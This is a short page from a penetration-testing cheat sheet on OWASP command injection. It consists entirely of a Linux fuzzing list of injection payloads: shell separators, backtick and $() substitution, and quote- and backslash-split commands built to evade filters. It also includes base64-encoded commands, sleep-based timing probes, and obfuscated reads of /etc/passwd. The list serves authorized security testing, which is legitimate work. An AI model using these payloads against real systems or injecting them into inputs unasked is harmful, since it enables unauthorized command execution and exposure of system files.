# Command Injection

Source: https://pentest.h4rithd.com/owasp-10/command-injection/  
Section: OWASP 10  
Updated: 2026-05-30  
Author: Harith Dilshan (h4rithd), https://h4rithd.com

## 01 Linux

* Basic fuzzing list

```
## ------------------| Command Injection
ThisIsForCheckError
~
!
@
#
$
%
^
&
*
(
)
_
+

NOTHING 
id
whoami
sleep 10
sleep+40
w'h'o'am'i
w"h"o"am"i
w\ho\am\i
who$@ami
who$()ami
who$(echo am)i
who`echo am`i
&&whoami
`id`
`whoami`
`sleep 10`
`sleep 30`
;whoami
;who()ami
;`echo 'aWQK' | base64 -d`
|whoami
NOTHING || ;who()ami
NO_THING || ;who()ami
NOTHING |whoami
NOTHING ||whoami
NOTHING |`echo 'aWQK' | base64 -d`
NOTHING ||`echo 'aWQK' | base64 -d`
#whoami
#;whoami
$(sleep 10)
$(sleep 30)
$(whoami)
$who()ami
/\b\i\n/////s\h
cat /etc/passwd
cat /etc/pas$()swd
cat /etc///passwd
$(cat /etc/passwd)
`cat /etc/passwd`
ping -c 2 127.0.0.1
$(ping -c 2 127.0.0.1)
`ping -c 2 127.0.0.1`

```